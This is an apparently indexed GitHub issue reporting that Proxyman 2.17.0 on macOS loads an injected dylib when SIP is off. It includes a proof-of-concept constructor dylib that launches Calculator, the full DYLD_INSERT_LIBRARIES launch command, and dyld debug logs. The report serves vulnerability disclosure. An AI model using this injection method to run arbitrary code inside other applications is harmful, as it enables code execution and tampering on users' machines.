ProxymanApp / ProxymanApp/Proxyman

Mapping 3rd party signed dylib into process space may produce unexpected results with SIP OFF

Open
#788 2 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
No language data
Stars
7k
Forks
237
PR merge metrics
No merged PRs in 30d

Description

Proxyman version? (Ex. Proxyman 1.4.3)

2.17.0

macOS Version? (Ex. mac 10.14)

20.2.0 Darwin Kernel Version 20.2.0: Wed Dec 2 20:39:59 PST 2020; root:xnu-7195.60.75~1/RELEASE_X86_64 x86_64

Steps to reproduce

ISSUE

Mapping a 3rd party signed dylib into your process space may produce unexpected results with SIP OFF.

uname -a = MAC 20.2.0 Darwin Kernel Version 20.2.0: Wed Dec 2 20:39:59 PST 2020; root:xnu-7195.60.75~1/RELEASE_X86_64 x86_64

We're analyzing a recent build of Proxyman for MAC, details below:

Proxyman.App Identification on OSX V 2.17.0
md5 /Applications/Proxyman.app/Contents/MacOS/Proxyman
MD5 (/Applications/Proxyman.app/Contents/MacOS/Proxyman) = 400ab7bfcafe530ff56c8075d0e02347
...
codesign -dvvv /Applications/Proxyman.app/Contents/MacOS/Proxyman
Executable=/Applications/Proxyman.app/Contents/MacOS/Proxyman
...

Issue Description
codesign -dvvv ~/Documents/dlyd/malicious.dylib
Executable=/Users/xss/Documents/dlyd/malicious.dylib
Identifier=malicious
Format=Mach-O thin (x86_64)
...
Injected dylib Code
#include <Foundation/Foundation.h>
attribute((constructor)) static void pwn() {
puts("\n\nHELLO FROM THE DYLIB!\n\n");
NSTask *task = [[NSTask alloc] init];
task.launchPath = @"/System/Applications/Calculator.app/Contents/MacOS/Calculator";
[task launch];
}

PoC

REQUIREMENT: SIP OFF

DYLD_PRINT_APIS=1 DYLD_PRINT_BINDINGS=1 DYLD_PRINT_INITIALIZERS=1 DYLD_PRINT_REBASINGS=1 DYLD_PRINT_SEGMENTS=1 DYLD_PRINT_STATISTICS=1 DYLD_PRINT_DOFS=1 DYLD_PRINT_RPATHS=1 DYLD_PRINT_INITIALIZERS=1 DYLD_FORCE_FLAT_NAMESPACE=1 DYLD_INSERT_LIBRARIES=./malicious.dylib /Applications/Proxyman.app/Contents/MacOS/Proxyman

RESULT

Watch Proxyman Startup, Watch Calculator Open

LOGGING
REQUIREMENT: SIP OFF
....
DYLD_PRINT_APIS=1 DYLD_PRINT_BINDINGS=1 DYLD_PRINT_INITIALIZERS=1 DYLD_PRINT_REBASINGS=1 DYLD_PRINT_SEGMENTS=1 DYLD_PRINT_STATISTICS=1 DYLD_PRINT_DOFS=1 DYLD_PRINT_RPATHS=1 DYLD_PRINT_INITIALIZERS=1 DYLD_FORCE_FLAT_NAMESPACE=1 DYLD_INSERT_LIBRARIES=./malicious.dylib /Applications/Proxyman.app/Contents/MacOS/Proxyman....
...
dyld: calling initializer function 0x7fff2404c1e0 in /usr/lib/libnetwork.dylib
dyld: calling initializer function 0x7fff20f8273e in /usr/lib/libmecabra.dylib
dyld: calling initializer function 0x7fff20f82c08 in /usr/lib/libmecabra.dylib
dyld: calling initializer function 0x106a26eb0 in ./malicious.dylib
dyld: lazy bind: malicious.dylib:0x106A2B008 = libsystem_c.dylib:_puts, *0x106A2B008 = 0x7FFF20268274
...
HELLO FROM THE DYLIB!
...
dyld: lazy bind: malicious.dylib:0x106A2B000 = libobjc.A.dylib:_objc_alloc_init, *0x106A2B000 = 0x7FFF20211067
_dyld_is_memory_immutable(0x7fff2148cf87, 25)
_dyld_is_memory_immutable(0x7fff2148cf87, 25)
_dyld_is_memory_immutable(0x7fff2148cf87, 25)
dyld: calling -init function 0x7fff21978b00 in /System/Library/Frameworks/CoreText.framework/Versions/A/CoreText
re-using existing shared cache (/System/Library/dyld/dyld_shared_cache_x86_64h):
0x7FFF20045000->0x7FFF7FFC4FFF init=5, max=5 read execute
0x7FFF80045000->0x7FFF8DFE8FFF init=3, max=3 read write data
dyld: calling initializer functi 0x7FFFC0045000->0x7FFFE2on 0x7fff2bd1c030 in /System/Lib2E4FFF init=1, max=1 read
rary/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/ATSUI.framework/Versions/A/ATSUI
dyld: Main executable mapped /System/Applications/Calculator.app/Contents/MacOS/Calculator
__PAGEZERO at 0x00000000->0x100000000
__TEXT at 0x109884000->0x1098A8000
__DATA_CONST at 0x1098A8000->0x1098AC000
__DATA at 0x1098AC000->0x1098B8000
__LINKEDIT at 0x1098B8000->0x1098C4000
dyld: calling initializer function 0x7fff215cd9e0 in /System/Library/Frameworks/CoreDisplay.framework/Versions/A/CoreDisplay
dyld: cdyld: Mapping ./malicious.dylib
...
dyld: rebase: Calculator:*0x1098A8100 += 0x09884000
dyld: rebase: Calculator:*0x1098A8108 += 0x09884000
dyld: rebase: Calculator:*0x1098A8110 += 0x09884000
dyld: rebase: Calculator:*0x1098A8130 += 0x09884000
dyld: rebase: Calculator:*0x1098A8138 += 0x09884000
dyld: rebase: Calculator:*0x1098A8140 += 0x09884000
dyld: rebase: Calculator:*0x1098A8160 += 0x09884000
dyld: rebase: Calculator:*0x1098A8168 += 0x09884000
dyld: rebase: Calculator:*0x1098A8170 += 0x09884000
dyld: rebase: Calculator:*0x1098A8190 += 0x09884000
dyld: rebase: Calculator:*0x1098A8198 += 0x09884000
dyld: rebase: Calculator:*0x1098A81A0 += 0x09884000
dyld: rebase: Calculator:*0x1098A81C0 += 0x09884000
dyld: rebase: Calculator:*0x1098A81E0 += 0x09884000
dyld: rebase: Calculator:*0x1098A81E8 += 0x09884000
dyld: calling initializer functidyld: rebase: Calculator:*0x1098on 0x10687ecb0 in /Applications/A8200 += 0x09884000 Proxyman.app/Contents/MacOS/Proxyman
dyld: rebase: Calculator:*0x1098A8208 += 0x09884000
dyld: rebase: Calculator:*0x1098A8210 += 0x09884000
dyld: rebase: Calculator:*0x1098A8230 += 0x09884000
dyld: rebase: Calculator:*0x1098A8250 += 0x09884000
...
Execution Confirmation: dyld: Main executable mapped /System/Applications/Calculator.app/Contents/MacOS/Calculator
...
REQUIREMENT: SIP OFF

Expected behavior

Do Not Execute Injected dylib

Screenshots (optional)

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start by reproducing the provided DYLD_INSERT_LIBRARIES command against Proxyman 2.17.0 on macOS with SIP disabled, then review the reported dyld initializer and mapping behavior. Done means the injected malicious.dylib does not execute when launching Proxyman under the described conditions.

Written by the indexing model from the issue text.

Assessment

Tech stack
macos
Domain
operating-systems, security
Issue type
Bug
Difficulty
5/5
Estimated time
Over a week
Activity status
Stale
Clarity
Mostly clear
Newbie friendliness
25/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.